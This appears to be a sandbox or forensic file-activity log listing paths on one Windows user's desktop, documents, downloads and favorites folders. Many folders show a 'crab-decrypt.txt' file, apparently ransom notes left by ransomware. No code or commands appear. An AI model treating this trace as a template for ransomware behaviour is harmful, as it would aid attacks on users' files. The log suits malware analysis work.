users\nd9e1fyi\desktop\hbpljdwarc.xlsx
users\nd9e1fyi\desktop\hbpljdwarc.xlsx
c:\
c:\users\nd9e1fyi\desktop\hbpljdwarc.xlsx
xlsx
File
users\nd9e1fyi\desktop\klqs0n5hqvpywewm.avi
users\nd9e1fyi\desktop\klqs0n5hqvpywewm.avi
c:\
c:\users\nd9e1fyi\desktop\klqs0n5hqvpywewm.avi
avi
File
users\nd9e1fyi\desktop\kohm3 dv9oyll.mkv
users\nd9e1fyi\desktop\kohm3 dv9oyll.mkv
c:\
c:\users\nd9e1fyi\desktop\kohm3 dv9oyll.mkv
mkv
File
users\nd9e1fyi\desktop\ljiglo1g4.jpg
users\nd9e1fyi\desktop\ljiglo1g4.jpg
c:\
c:\users\nd9e1fyi\desktop\ljiglo1g4.jpg
jpg
File
users\nd9e1fyi\desktop\lv-mfq.wav
users\nd9e1fyi\desktop\lv-mfq.wav
c:\
c:\users\nd9e1fyi\desktop\lv-mfq.wav
wav
File
users\nd9e1fyi\desktop\mzxcx bzxrqd45lfz4s.bmp
users\nd9e1fyi\desktop\mzxcx bzxrqd45lfz4s.bmp
c:\
c:\users\nd9e1fyi\desktop\mzxcx bzxrqd45lfz4s.bmp
bmp
File
users\nd9e1fyi\desktop\pctxqfmg90.mp3
users\nd9e1fyi\desktop\pctxqfmg90.mp3
c:\
c:\users\nd9e1fyi\desktop\pctxqfmg90.mp3
mp3
File
users\nd9e1fyi\desktop\plboktafuyrgmo.gif
users\nd9e1fyi\desktop\plboktafuyrgmo.gif
c:\
c:\users\nd9e1fyi\desktop\plboktafuyrgmo.gif
gif
File
users\nd9e1fyi\desktop\q _vg7gr8h.mp4
users\nd9e1fyi\desktop\q _vg7gr8h.mp4
c:\
c:\users\nd9e1fyi\desktop\q _vg7gr8h.mp4
mp4
File
users\nd9e1fyi\desktop\taihmyjd\crab-decrypt.txt
users\nd9e1fyi\desktop\taihmyjd\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\crab-decrypt.txt
txt
File
users\nd9e1fyi\desktop\taihmyjd\a2lolhzaygtshii6.m4a
users\nd9e1fyi\desktop\taihmyjd\a2lolhzaygtshii6.m4a
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\a2lolhzaygtshii6.m4a
m4a
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\crab-decrypt.txt
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\crab-decrypt.txt
txt
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\crab-decrypt.txt
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\crab-decrypt.txt
txt
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\3xztjcynmea.jpg
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\3xztjcynmea.jpg
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\3xztjcynmea.jpg
jpg
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\4ddbg.pptx
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\4ddbg.pptx
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\4ddbg.pptx
pptx
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\q8_fcwttysp.mp3
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\q8_fcwttysp.mp3
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2os82vm\q8_fcwttysp.mp3
mp3
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2qwqj.png
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2qwqj.png
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\2qwqj.png
png
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\40xf9iqvmyi.m4a
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\40xf9iqvmyi.m4a
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\40xf9iqvmyi.m4a
m4a
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\owr x2a.swf
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\owr x2a.swf
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\owr x2a.swf
swf
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\crab-decrypt.txt
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\crab-decrypt.txt
txt
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\emvhgx6y97.mkv
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\emvhgx6y97.mkv
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\emvhgx6y97.mkv
mkv
File
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\l6bs1vds iveszkk_t.swf
users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\l6bs1vds iveszkk_t.swf
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\vphwha8l1\tqb8ijikavnd9-4dz\l6bs1vds iveszkk_t.swf
swf
File
users\nd9e1fyi\desktop\taihmyjd\xhgazlnnal4on.ods
users\nd9e1fyi\desktop\taihmyjd\xhgazlnnal4on.ods
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\xhgazlnnal4on.ods
ods
File
users\nd9e1fyi\desktop\taihmyjd\ylrzwu41i lcyjdhv c6.png
users\nd9e1fyi\desktop\taihmyjd\ylrzwu41i lcyjdhv c6.png
c:\
c:\users\nd9e1fyi\desktop\taihmyjd\ylrzwu41i lcyjdhv c6.png
png
File
users\nd9e1fyi\desktop\vxvj4gll.mp3
users\nd9e1fyi\desktop\vxvj4gll.mp3
c:\
c:\users\nd9e1fyi\desktop\vxvj4gll.mp3
mp3
File
users\nd9e1fyi\desktop\wocvvol6lg6hpzs1f-.mkv
users\nd9e1fyi\desktop\wocvvol6lg6hpzs1f-.mkv
c:\
c:\users\nd9e1fyi\desktop\wocvvol6lg6hpzs1f-.mkv
mkv
File
users\nd9e1fyi\desktop\yejo-cdcntfkzkvh4cb.pdf
users\nd9e1fyi\desktop\yejo-cdcntfkzkvh4cb.pdf
c:\
c:\users\nd9e1fyi\desktop\yejo-cdcntfkzkvh4cb.pdf
pdf
File
users\nd9e1fyi\desktop\youni.ppt
users\nd9e1fyi\desktop\youni.ppt
c:\
c:\users\nd9e1fyi\desktop\youni.ppt
ppt
File
users\nd9e1fyi\desktop\_wm7kki7dga3b5.wav
users\nd9e1fyi\desktop\_wm7kki7dga3b5.wav
c:\
c:\users\nd9e1fyi\desktop\_wm7kki7dga3b5.wav
wav
File
users\nd9e1fyi\documents\crab-decrypt.txt
users\nd9e1fyi\documents\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\documents\crab-decrypt.txt
txt
File
users\nd9e1fyi\documents\-1ntmjoj7ib3zr0e.odp
users\nd9e1fyi\documents\-1ntmjoj7ib3zr0e.odp
c:\
c:\users\nd9e1fyi\documents\-1ntmjoj7ib3zr0e.odp
odp
File
users\nd9e1fyi\documents\0ai_ whah.xlsx
users\nd9e1fyi\documents\0ai_ whah.xlsx
c:\
c:\users\nd9e1fyi\documents\0ai_ whah.xlsx
xlsx
File
users\nd9e1fyi\documents\1pjlex.xlsx
users\nd9e1fyi\documents\1pjlex.xlsx
c:\
c:\users\nd9e1fyi\documents\1pjlex.xlsx
xlsx
File
users\nd9e1fyi\documents\1uldde.docx
users\nd9e1fyi\documents\1uldde.docx
c:\
c:\users\nd9e1fyi\documents\1uldde.docx
docx
File
users\nd9e1fyi\documents\2hv5hffmzd5anpk.xlsx
users\nd9e1fyi\documents\2hv5hffmzd5anpk.xlsx
c:\
c:\users\nd9e1fyi\documents\2hv5hffmzd5anpk.xlsx
xlsx
File
users\nd9e1fyi\documents\2lgo84j-w4ss.pptx
users\nd9e1fyi\documents\2lgo84j-w4ss.pptx
c:\
c:\users\nd9e1fyi\documents\2lgo84j-w4ss.pptx
pptx
File
users\nd9e1fyi\documents\3qzsnxbz8z1ega.xlsx
users\nd9e1fyi\documents\3qzsnxbz8z1ega.xlsx
c:\
c:\users\nd9e1fyi\documents\3qzsnxbz8z1ega.xlsx
xlsx
File
users\nd9e1fyi\documents\3sreuswyqe.xls
users\nd9e1fyi\documents\3sreuswyqe.xls
c:\
c:\users\nd9e1fyi\documents\3sreuswyqe.xls
xls
File
users\nd9e1fyi\documents\4pdlu7.pdf
users\nd9e1fyi\documents\4pdlu7.pdf
c:\
c:\users\nd9e1fyi\documents\4pdlu7.pdf
pdf
File
users\nd9e1fyi\documents\4rmmfck0bx7qahwlqvx5.pptx
users\nd9e1fyi\documents\4rmmfck0bx7qahwlqvx5.pptx
c:\
c:\users\nd9e1fyi\documents\4rmmfck0bx7qahwlqvx5.pptx
pptx
File
users\nd9e1fyi\documents\5vn57vgzae.docx
users\nd9e1fyi\documents\5vn57vgzae.docx
c:\
c:\users\nd9e1fyi\documents\5vn57vgzae.docx
docx
File
users\nd9e1fyi\documents\6eupbghm7zbluxc.ppt
users\nd9e1fyi\documents\6eupbghm7zbluxc.ppt
c:\
c:\users\nd9e1fyi\documents\6eupbghm7zbluxc.ppt
ppt
File
users\nd9e1fyi\documents\6ng6jlxhb8hwuq.pptx
users\nd9e1fyi\documents\6ng6jlxhb8hwuq.pptx
c:\
c:\users\nd9e1fyi\documents\6ng6jlxhb8hwuq.pptx
pptx
File
users\nd9e1fyi\documents\7oaywmruk6rev8e.ppt
users\nd9e1fyi\documents\7oaywmruk6rev8e.ppt
c:\
c:\users\nd9e1fyi\documents\7oaywmruk6rev8e.ppt
ppt
File
users\nd9e1fyi\documents\7_zy.xlsx
users\nd9e1fyi\documents\7_zy.xlsx
c:\
c:\users\nd9e1fyi\documents\7_zy.xlsx
xlsx
File
users\nd9e1fyi\documents\95qk9jgem.pptx
users\nd9e1fyi\documents\95qk9jgem.pptx
c:\
c:\users\nd9e1fyi\documents\95qk9jgem.pptx
pptx
File
users\nd9e1fyi\documents\9ck.pptx
users\nd9e1fyi\documents\9ck.pptx
c:\
c:\users\nd9e1fyi\documents\9ck.pptx
pptx
File
users\nd9e1fyi\documents\a8oskyh.xlsx
users\nd9e1fyi\documents\a8oskyh.xlsx
c:\
c:\users\nd9e1fyi\documents\a8oskyh.xlsx
xlsx
File
users\nd9e1fyi\documents\b1zumc.docx
users\nd9e1fyi\documents\b1zumc.docx
c:\
c:\users\nd9e1fyi\documents\b1zumc.docx
docx
File
users\nd9e1fyi\documents\bhvrr3kyc.xlsx
users\nd9e1fyi\documents\bhvrr3kyc.xlsx
c:\
c:\users\nd9e1fyi\documents\bhvrr3kyc.xlsx
xlsx
File
users\nd9e1fyi\documents\bkxfwmxnxil_cyhxfqs.docx
users\nd9e1fyi\documents\bkxfwmxnxil_cyhxfqs.docx
c:\
c:\users\nd9e1fyi\documents\bkxfwmxnxil_cyhxfqs.docx
docx
File
users\nd9e1fyi\documents\cbqf.xlsx
users\nd9e1fyi\documents\cbqf.xlsx
c:\
c:\users\nd9e1fyi\documents\cbqf.xlsx
xlsx
File
users\nd9e1fyi\documents\cjmnuw 4cb0wpi.docx
users\nd9e1fyi\documents\cjmnuw 4cb0wpi.docx
c:\
c:\users\nd9e1fyi\documents\cjmnuw 4cb0wpi.docx
docx
File
users\nd9e1fyi\documents\d1dhlhbgxot.pptx
users\nd9e1fyi\documents\d1dhlhbgxot.pptx
c:\
c:\users\nd9e1fyi\documents\d1dhlhbgxot.pptx
pptx
File
users\nd9e1fyi\documents\d2jvpicu.ots
users\nd9e1fyi\documents\d2jvpicu.ots
c:\
c:\users\nd9e1fyi\documents\d2jvpicu.ots
ots
File
users\nd9e1fyi\documents\dlkr7xv.pdf
users\nd9e1fyi\documents\dlkr7xv.pdf
c:\
c:\users\nd9e1fyi\documents\dlkr7xv.pdf
pdf
File
users\nd9e1fyi\documents\dp6ftej02k06.xlsx
users\nd9e1fyi\documents\dp6ftej02k06.xlsx
c:\
c:\users\nd9e1fyi\documents\dp6ftej02k06.xlsx
xlsx
File
users\nd9e1fyi\documents\dzbyr6c6ejk cv.ppt
users\nd9e1fyi\documents\dzbyr6c6ejk cv.ppt
c:\
c:\users\nd9e1fyi\documents\dzbyr6c6ejk cv.ppt
ppt
File
users\nd9e1fyi\documents\ea-cnw.odt
users\nd9e1fyi\documents\ea-cnw.odt
c:\
c:\users\nd9e1fyi\documents\ea-cnw.odt
odt
File
users\nd9e1fyi\documents\ecealvu8v-ssv7jbsi.docx
users\nd9e1fyi\documents\ecealvu8v-ssv7jbsi.docx
c:\
c:\users\nd9e1fyi\documents\ecealvu8v-ssv7jbsi.docx
docx
File
users\nd9e1fyi\documents\ejg4n2h-eokc-ft-vy.pptx
users\nd9e1fyi\documents\ejg4n2h-eokc-ft-vy.pptx
c:\
c:\users\nd9e1fyi\documents\ejg4n2h-eokc-ft-vy.pptx
pptx
File
users\nd9e1fyi\documents\etgm6r0b9s.xlsx
users\nd9e1fyi\documents\etgm6r0b9s.xlsx
c:\
c:\users\nd9e1fyi\documents\etgm6r0b9s.xlsx
xlsx
File
users\nd9e1fyi\documents\fq9smmldv5wcegyoa.xlsx
users\nd9e1fyi\documents\fq9smmldv5wcegyoa.xlsx
c:\
c:\users\nd9e1fyi\documents\fq9smmldv5wcegyoa.xlsx
xlsx
File
users\nd9e1fyi\documents\fxjgyhykuu9n5 9e.pptx
users\nd9e1fyi\documents\fxjgyhykuu9n5 9e.pptx
c:\
c:\users\nd9e1fyi\documents\fxjgyhykuu9n5 9e.pptx
pptx
File
users\nd9e1fyi\documents\gged2zfitn.xlsx
users\nd9e1fyi\documents\gged2zfitn.xlsx
c:\
c:\users\nd9e1fyi\documents\gged2zfitn.xlsx
xlsx
File
users\nd9e1fyi\documents\gj1aety8ggzf_zpbft.xlsx
users\nd9e1fyi\documents\gj1aety8ggzf_zpbft.xlsx
c:\
c:\users\nd9e1fyi\documents\gj1aety8ggzf_zpbft.xlsx
xlsx
File
users\nd9e1fyi\documents\gutlmves.xlsx
users\nd9e1fyi\documents\gutlmves.xlsx
c:\
c:\users\nd9e1fyi\documents\gutlmves.xlsx
xlsx
File
users\nd9e1fyi\documents\h68iskudws.xlsx
users\nd9e1fyi\documents\h68iskudws.xlsx
c:\
c:\users\nd9e1fyi\documents\h68iskudws.xlsx
xlsx
File
users\nd9e1fyi\documents\hbibqmidwfh5l3ckqww.docx
users\nd9e1fyi\documents\hbibqmidwfh5l3ckqww.docx
c:\
c:\users\nd9e1fyi\documents\hbibqmidwfh5l3ckqww.docx
docx
File
users\nd9e1fyi\documents\hgetlp av.docx
users\nd9e1fyi\documents\hgetlp av.docx
c:\
c:\users\nd9e1fyi\documents\hgetlp av.docx
docx
File
users\nd9e1fyi\documents\i-uf7_g9ofxd.ots
users\nd9e1fyi\documents\i-uf7_g9ofxd.ots
c:\
c:\users\nd9e1fyi\documents\i-uf7_g9ofxd.ots
ots
File
users\nd9e1fyi\documents\jpyl7tzbqpiqje0ymjrj.pps
users\nd9e1fyi\documents\jpyl7tzbqpiqje0ymjrj.pps
c:\
c:\users\nd9e1fyi\documents\jpyl7tzbqpiqje0ymjrj.pps
pps
File
users\nd9e1fyi\documents\jvufz.xlsx
users\nd9e1fyi\documents\jvufz.xlsx
c:\
c:\users\nd9e1fyi\documents\jvufz.xlsx
xlsx
File
users\nd9e1fyi\documents\jxqit7gr.pptx
users\nd9e1fyi\documents\jxqit7gr.pptx
c:\
c:\users\nd9e1fyi\documents\jxqit7gr.pptx
pptx
File
users\nd9e1fyi\documents\k5mygl.docx
users\nd9e1fyi\documents\k5mygl.docx
c:\
c:\users\nd9e1fyi\documents\k5mygl.docx
docx
File
users\nd9e1fyi\documents\lhgy.docx
users\nd9e1fyi\documents\lhgy.docx
c:\
c:\users\nd9e1fyi\documents\lhgy.docx
docx
File
users\nd9e1fyi\documents\mc2egdqsdljytmv.pdf
users\nd9e1fyi\documents\mc2egdqsdljytmv.pdf
c:\
c:\users\nd9e1fyi\documents\mc2egdqsdljytmv.pdf
pdf
File
users\nd9e1fyi\documents\mcux0hjiehbsy1 5u1.pptx
users\nd9e1fyi\documents\mcux0hjiehbsy1 5u1.pptx
c:\
c:\users\nd9e1fyi\documents\mcux0hjiehbsy1 5u1.pptx
pptx
File
users\nd9e1fyi\documents\mffs.odt
users\nd9e1fyi\documents\mffs.odt
c:\
c:\users\nd9e1fyi\documents\mffs.odt
odt
File
users\nd9e1fyi\documents\mfnxqzkg0m.xlsx
users\nd9e1fyi\documents\mfnxqzkg0m.xlsx
c:\
c:\users\nd9e1fyi\documents\mfnxqzkg0m.xlsx
xlsx
File
users\nd9e1fyi\documents\mjgjstuw.odp
users\nd9e1fyi\documents\mjgjstuw.odp
c:\
c:\users\nd9e1fyi\documents\mjgjstuw.odp
odp
File
users\nd9e1fyi\documents\mmcxopb7kn8vzqaf4k.xlsx
users\nd9e1fyi\documents\mmcxopb7kn8vzqaf4k.xlsx
c:\
c:\users\nd9e1fyi\documents\mmcxopb7kn8vzqaf4k.xlsx
xlsx
File
users\nd9e1fyi\documents\my music\crab-decrypt.txt
users\nd9e1fyi\documents\my music\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\documents\my music\crab-decrypt.txt
txt
File
users\nd9e1fyi\documents\my pictures\crab-decrypt.txt
users\nd9e1fyi\documents\my pictures\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\documents\my pictures\crab-decrypt.txt
txt
File
users\nd9e1fyi\documents\my videos\crab-decrypt.txt
users\nd9e1fyi\documents\my videos\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\documents\my videos\crab-decrypt.txt
txt
File
users\nd9e1fyi\documents\myvpu.pptx
users\nd9e1fyi\documents\myvpu.pptx
c:\
c:\users\nd9e1fyi\documents\myvpu.pptx
pptx
File
users\nd9e1fyi\documents\m_chyv1af6ug5vowl.docx
users\nd9e1fyi\documents\m_chyv1af6ug5vowl.docx
c:\
c:\users\nd9e1fyi\documents\m_chyv1af6ug5vowl.docx
docx
File
users\nd9e1fyi\documents\n4owu.pptx
users\nd9e1fyi\documents\n4owu.pptx
c:\
c:\users\nd9e1fyi\documents\n4owu.pptx
pptx
File
users\nd9e1fyi\documents\ndo7yk7ma1 4f9z.docx
users\nd9e1fyi\documents\ndo7yk7ma1 4f9z.docx
c:\
c:\users\nd9e1fyi\documents\ndo7yk7ma1 4f9z.docx
docx
File
users\nd9e1fyi\documents\oqgo-r48ldfgey63acy.docx
users\nd9e1fyi\documents\oqgo-r48ldfgey63acy.docx
c:\
c:\users\nd9e1fyi\documents\oqgo-r48ldfgey63acy.docx
docx
File
users\nd9e1fyi\documents\outlook files\crab-decrypt.txt
users\nd9e1fyi\documents\outlook files\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\documents\outlook files\crab-decrypt.txt
txt
File
users\nd9e1fyi\documents\outlook files\ldkhh@oedd.de.pst
users\nd9e1fyi\documents\outlook files\ldkhh@oedd.de.pst
c:\
c:\users\nd9e1fyi\documents\outlook files\ldkhh@oedd.de.pst
pst
File
users\nd9e1fyi\documents\p9fcwboy-l.xlsx
users\nd9e1fyi\documents\p9fcwboy-l.xlsx
c:\
c:\users\nd9e1fyi\documents\p9fcwboy-l.xlsx
xlsx
File
users\nd9e1fyi\documents\pocdhdun5eeiedm5ct.odp
users\nd9e1fyi\documents\pocdhdun5eeiedm5ct.odp
c:\
c:\users\nd9e1fyi\documents\pocdhdun5eeiedm5ct.odp
odp
File
users\nd9e1fyi\documents\pusocy.docx
users\nd9e1fyi\documents\pusocy.docx
c:\
c:\users\nd9e1fyi\documents\pusocy.docx
docx
File
users\nd9e1fyi\documents\q8mf0_khya0k9utmh0cg.docx
users\nd9e1fyi\documents\q8mf0_khya0k9utmh0cg.docx
c:\
c:\users\nd9e1fyi\documents\q8mf0_khya0k9utmh0cg.docx
docx
File
users\nd9e1fyi\documents\qnm_xzcd.csv
users\nd9e1fyi\documents\qnm_xzcd.csv
c:\
c:\users\nd9e1fyi\documents\qnm_xzcd.csv
csv
File
users\nd9e1fyi\documents\qo euigo4exk9olc0xpx.docx
users\nd9e1fyi\documents\qo euigo4exk9olc0xpx.docx
c:\
c:\users\nd9e1fyi\documents\qo euigo4exk9olc0xpx.docx
docx
File
users\nd9e1fyi\documents\r1sp-wv96najkrk.xlsx
users\nd9e1fyi\documents\r1sp-wv96najkrk.xlsx
c:\
c:\users\nd9e1fyi\documents\r1sp-wv96najkrk.xlsx
xlsx
File
users\nd9e1fyi\documents\r6pxfhzw-.doc
users\nd9e1fyi\documents\r6pxfhzw-.doc
c:\
c:\users\nd9e1fyi\documents\r6pxfhzw-.doc
doc
File
users\nd9e1fyi\documents\rekt.docx
users\nd9e1fyi\documents\rekt.docx
c:\
c:\users\nd9e1fyi\documents\rekt.docx
docx
File
users\nd9e1fyi\documents\rhbit0mnhhyb.odt
users\nd9e1fyi\documents\rhbit0mnhhyb.odt
c:\
c:\users\nd9e1fyi\documents\rhbit0mnhhyb.odt
odt
File
users\nd9e1fyi\documents\rlqf78f7r3l7_m.pptx
users\nd9e1fyi\documents\rlqf78f7r3l7_m.pptx
c:\
c:\users\nd9e1fyi\documents\rlqf78f7r3l7_m.pptx
pptx
File
users\nd9e1fyi\documents\rr9y.xlsx
users\nd9e1fyi\documents\rr9y.xlsx
c:\
c:\users\nd9e1fyi\documents\rr9y.xlsx
xlsx
File
users\nd9e1fyi\documents\s9-7vonlm5we-.pptx
users\nd9e1fyi\documents\s9-7vonlm5we-.pptx
c:\
c:\users\nd9e1fyi\documents\s9-7vonlm5we-.pptx
pptx
File
users\nd9e1fyi\documents\sfjfwe_xbxjr_0qhj7.xlsx
users\nd9e1fyi\documents\sfjfwe_xbxjr_0qhj7.xlsx
c:\
c:\users\nd9e1fyi\documents\sfjfwe_xbxjr_0qhj7.xlsx
xlsx
File
users\nd9e1fyi\documents\sydi1id2slroibmuo1.odp
users\nd9e1fyi\documents\sydi1id2slroibmuo1.odp
c:\
c:\users\nd9e1fyi\documents\sydi1id2slroibmuo1.odp
odp
File
users\nd9e1fyi\documents\s_wtt21h2.doc
users\nd9e1fyi\documents\s_wtt21h2.doc
c:\
c:\users\nd9e1fyi\documents\s_wtt21h2.doc
doc
File
users\nd9e1fyi\documents\t6sk.csv
users\nd9e1fyi\documents\t6sk.csv
c:\
c:\users\nd9e1fyi\documents\t6sk.csv
csv
File
users\nd9e1fyi\documents\t87fweknqqvgt.pps
users\nd9e1fyi\documents\t87fweknqqvgt.pps
c:\
c:\users\nd9e1fyi\documents\t87fweknqqvgt.pps
pps
File
users\nd9e1fyi\documents\u5yfj5dj8.docx
users\nd9e1fyi\documents\u5yfj5dj8.docx
c:\
c:\users\nd9e1fyi\documents\u5yfj5dj8.docx
docx
File
users\nd9e1fyi\documents\uok42anf6rkwd5o.pptx
users\nd9e1fyi\documents\uok42anf6rkwd5o.pptx
c:\
c:\users\nd9e1fyi\documents\uok42anf6rkwd5o.pptx
pptx
File
users\nd9e1fyi\documents\uxwt eepk.pptx
users\nd9e1fyi\documents\uxwt eepk.pptx
c:\
c:\users\nd9e1fyi\documents\uxwt eepk.pptx
pptx
File
users\nd9e1fyi\documents\uzgaw3rhfknhqary6.docx
users\nd9e1fyi\documents\uzgaw3rhfknhqary6.docx
c:\
c:\users\nd9e1fyi\documents\uzgaw3rhfknhqary6.docx
docx
File
users\nd9e1fyi\documents\w7n_pc.csv
users\nd9e1fyi\documents\w7n_pc.csv
c:\
c:\users\nd9e1fyi\documents\w7n_pc.csv
csv
File
users\nd9e1fyi\documents\wasszgr_abtobv.pptx
users\nd9e1fyi\documents\wasszgr_abtobv.pptx
c:\
c:\users\nd9e1fyi\documents\wasszgr_abtobv.pptx
pptx
File
users\nd9e1fyi\documents\wbxbayd9al.rtf
users\nd9e1fyi\documents\wbxbayd9al.rtf
c:\
c:\users\nd9e1fyi\documents\wbxbayd9al.rtf
rtf
File
users\nd9e1fyi\documents\wraq.pptx
users\nd9e1fyi\documents\wraq.pptx
c:\
c:\users\nd9e1fyi\documents\wraq.pptx
pptx
File
users\nd9e1fyi\documents\wvgypc6c_8.rtf
users\nd9e1fyi\documents\wvgypc6c_8.rtf
c:\
c:\users\nd9e1fyi\documents\wvgypc6c_8.rtf
rtf
File
users\nd9e1fyi\documents\x-tar u1thhtmy24.docx
users\nd9e1fyi\documents\x-tar u1thhtmy24.docx
c:\
c:\users\nd9e1fyi\documents\x-tar u1thhtmy24.docx
docx
File
users\nd9e1fyi\documents\x92otnpr-x5zma_ dmt_.pptx
users\nd9e1fyi\documents\x92otnpr-x5zma_ dmt_.pptx
c:\
c:\users\nd9e1fyi\documents\x92otnpr-x5zma_ dmt_.pptx
pptx
File
users\nd9e1fyi\documents\xhjyo.pptx
users\nd9e1fyi\documents\xhjyo.pptx
c:\
c:\users\nd9e1fyi\documents\xhjyo.pptx
pptx
File
users\nd9e1fyi\documents\xmfzuhlnx2960gz.docx
users\nd9e1fyi\documents\xmfzuhlnx2960gz.docx
c:\
c:\users\nd9e1fyi\documents\xmfzuhlnx2960gz.docx
docx
File
users\nd9e1fyi\documents\yafdm6xmz.pptx
users\nd9e1fyi\documents\yafdm6xmz.pptx
c:\
c:\users\nd9e1fyi\documents\yafdm6xmz.pptx
pptx
File
users\nd9e1fyi\documents\yufw65ul.pps
users\nd9e1fyi\documents\yufw65ul.pps
c:\
c:\users\nd9e1fyi\documents\yufw65ul.pps
pps
File
users\nd9e1fyi\documents\yvj4yghuyczj_wpoefm.ots
users\nd9e1fyi\documents\yvj4yghuyczj_wpoefm.ots
c:\
c:\users\nd9e1fyi\documents\yvj4yghuyczj_wpoefm.ots
ots
File
users\nd9e1fyi\documents\z0wctdfjmjlhe2dd.xlsx
users\nd9e1fyi\documents\z0wctdfjmjlhe2dd.xlsx
c:\
c:\users\nd9e1fyi\documents\z0wctdfjmjlhe2dd.xlsx
xlsx
File
users\nd9e1fyi\documents\_3noyg57lzspeak.pptx
users\nd9e1fyi\documents\_3noyg57lzspeak.pptx
c:\
c:\users\nd9e1fyi\documents\_3noyg57lzspeak.pptx
pptx
File
users\nd9e1fyi\documents\_wnatvzlc6xqel.ppt
users\nd9e1fyi\documents\_wnatvzlc6xqel.ppt
c:\
c:\users\nd9e1fyi\documents\_wnatvzlc6xqel.ppt
ppt
File
users\nd9e1fyi\downloads\crab-decrypt.txt
users\nd9e1fyi\downloads\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\downloads\crab-decrypt.txt
txt
File
users\nd9e1fyi\favorites\crab-decrypt.txt
users\nd9e1fyi\favorites\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\favorites\crab-decrypt.txt
txt
File
users\nd9e1fyi\favorites\360 safeguard.url
users\nd9e1fyi\favorites\360 safeguard.url
c:\
c:\users\nd9e1fyi\favorites\360 safeguard.url
url
File
users\nd9e1fyi\favorites\avito.url
users\nd9e1fyi\favorites\avito.url
c:\
c:\users\nd9e1fyi\favorites\avito.url
url
File
users\nd9e1fyi\favorites\bing.url
users\nd9e1fyi\favorites\bing.url
c:\
c:\users\nd9e1fyi\favorites\bing.url
url
File
users\nd9e1fyi\favorites\daily mail.url
users\nd9e1fyi\favorites\daily mail.url
c:\
c:\users\nd9e1fyi\favorites\daily mail.url
url
File
users\nd9e1fyi\favorites\ebay uk.url
users\nd9e1fyi\favorites\ebay uk.url
c:\
c:\users\nd9e1fyi\favorites\ebay uk.url
url
File
users\nd9e1fyi\favorites\google egypt.url
users\nd9e1fyi\favorites\google egypt.url
c:\
c:\users\nd9e1fyi\favorites\google egypt.url
url
File
users\nd9e1fyi\favorites\google file storage.url
users\nd9e1fyi\favorites\google file storage.url
c:\
c:\users\nd9e1fyi\favorites\google file storage.url
url
File
users\nd9e1fyi\favorites\google france.url
users\nd9e1fyi\favorites\google france.url
c:\
c:\users\nd9e1fyi\favorites\google france.url
url
File
users\nd9e1fyi\favorites\google japan.url
users\nd9e1fyi\favorites\google japan.url
c:\
c:\users\nd9e1fyi\favorites\google japan.url
url
File
users\nd9e1fyi\favorites\google russia.url
users\nd9e1fyi\favorites\google russia.url
c:\
c:\users\nd9e1fyi\favorites\google russia.url
url
File
users\nd9e1fyi\favorites\google taiwan.url
users\nd9e1fyi\favorites\google taiwan.url
c:\
c:\users\nd9e1fyi\favorites\google taiwan.url
url
File
users\nd9e1fyi\favorites\google turkey.url
users\nd9e1fyi\favorites\google turkey.url
c:\
c:\users\nd9e1fyi\favorites\google turkey.url
url
File
users\nd9e1fyi\favorites\hao123.url
users\nd9e1fyi\favorites\hao123.url
c:\
c:\users\nd9e1fyi\favorites\hao123.url
url
File
users\nd9e1fyi\favorites\links\crab-decrypt.txt
users\nd9e1fyi\favorites\links\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\favorites\links\crab-decrypt.txt
txt
File
users\nd9e1fyi\favorites\msn.url
users\nd9e1fyi\favorites\msn.url
c:\
c:\users\nd9e1fyi\favorites\msn.url
url
File
users\nd9e1fyi\favorites\nicovideo.url
users\nd9e1fyi\favorites\nicovideo.url
c:\
